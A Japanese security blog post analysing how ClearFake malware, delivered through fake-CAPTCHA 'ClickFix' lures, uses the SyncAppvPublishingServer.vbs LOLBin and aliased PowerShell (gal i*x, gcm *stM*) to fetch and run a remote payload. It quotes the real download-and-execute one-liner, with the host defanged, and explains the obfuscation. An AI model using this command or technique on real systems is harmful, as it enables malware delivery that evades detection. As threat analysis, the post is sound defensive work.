「Syncappvpublishingserver.vbs」でのコマンド実行自体は目新しいものではない。
ここでは、よくあるコマンド実行の難読化手法を改めて確認していきたい気持ち。
ちなみにClearFakeは以前ちょこっと触れたEtherHidingも使っている。
ClickFixでみられるらしいコマンド実行形式
ClearFake自体はJavaScriptフレームワークであって、Clickfixで配信されている。
クリックフィックスといえば、コマンド実行させるアレ。
人間だったら以下を実行してください
1. 「Win + R」
2. 「Ctrl + V」
3. 「Enter」キー
偽のCAPTCHAで騙すやつ。
ClearFakeとかがpowershellで任意のコマンド実行をさせるには例えば、

という感じで実行することがある。
ただ、これはもう色々なAV製品が検知するので使い物にならない場合も多い。
これに対してexpelで確認されたClearFakeでは、Syncappvpublishingserver.vbsが使用されていたと。
Syncappvpublishingserver.vbsって知らんかったけど、以前から知られてる
LOLBASにあったし、MITRE Techniquesにもあったので前々から知られてる。

という感じでコマンド実行できる。
いやいやでも(New-Object Net.WebClient).DownloadString()なんて使ったら、EDRとかにひっかかるよね。
ClearFakeではこんな感じ
SyncAppvPublishingServer.vbs “n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/clock-cheking/expert-barnacle/load')” # https://expel.com/blog/clearfake-new-lotl-techniques/より
なかなかに分かりにくくしつつ、powershellの性質を利用している。
galはGet-Alias、i*xは正規表現でiから始まりxで終わる文字列。これって、つまりInvoke-Expressionのエイリアスのiexってことだよね。
gcmはGet-Commandのエイリアス、このコマンドのPowerShellコマンドのリストから探すものは*stM*。これが一致するのは、Invoke-RestMethodらしい。これもまた初耳だが、Invoke-RestMethodはInvoke-WebRequestと同じ動作をする。
さて、これらが合わさるとcdn.jsdelivr[.]net/gh/clock-cheking/expert-barnacle/loadからInvoke-RestMethodがダウンロードした文字列をコマンドとしてInvoke-Expressionが実行するということになる。
JavaScriptライブラリのホスティングに普通に使用されるcdn.jsdelivr[.]netをマルウェア配信に使用している点も中々トリッキーだ。
ClickFixになんてひっかからないでください
そういえば、まだまだClickFixファミリーは増えてきていますね。
・FileFix
・ConsentFix
・TerminalFix,DownloadFix
・GlichFix
・CrashFix
他にも名前は付いていないが、
・Win+Xからコマンド実行させる
・WebDAVからlinkをクリックさせる->これはよくあるフィッシング手法と同じだが。
・Fake BSOD、これも
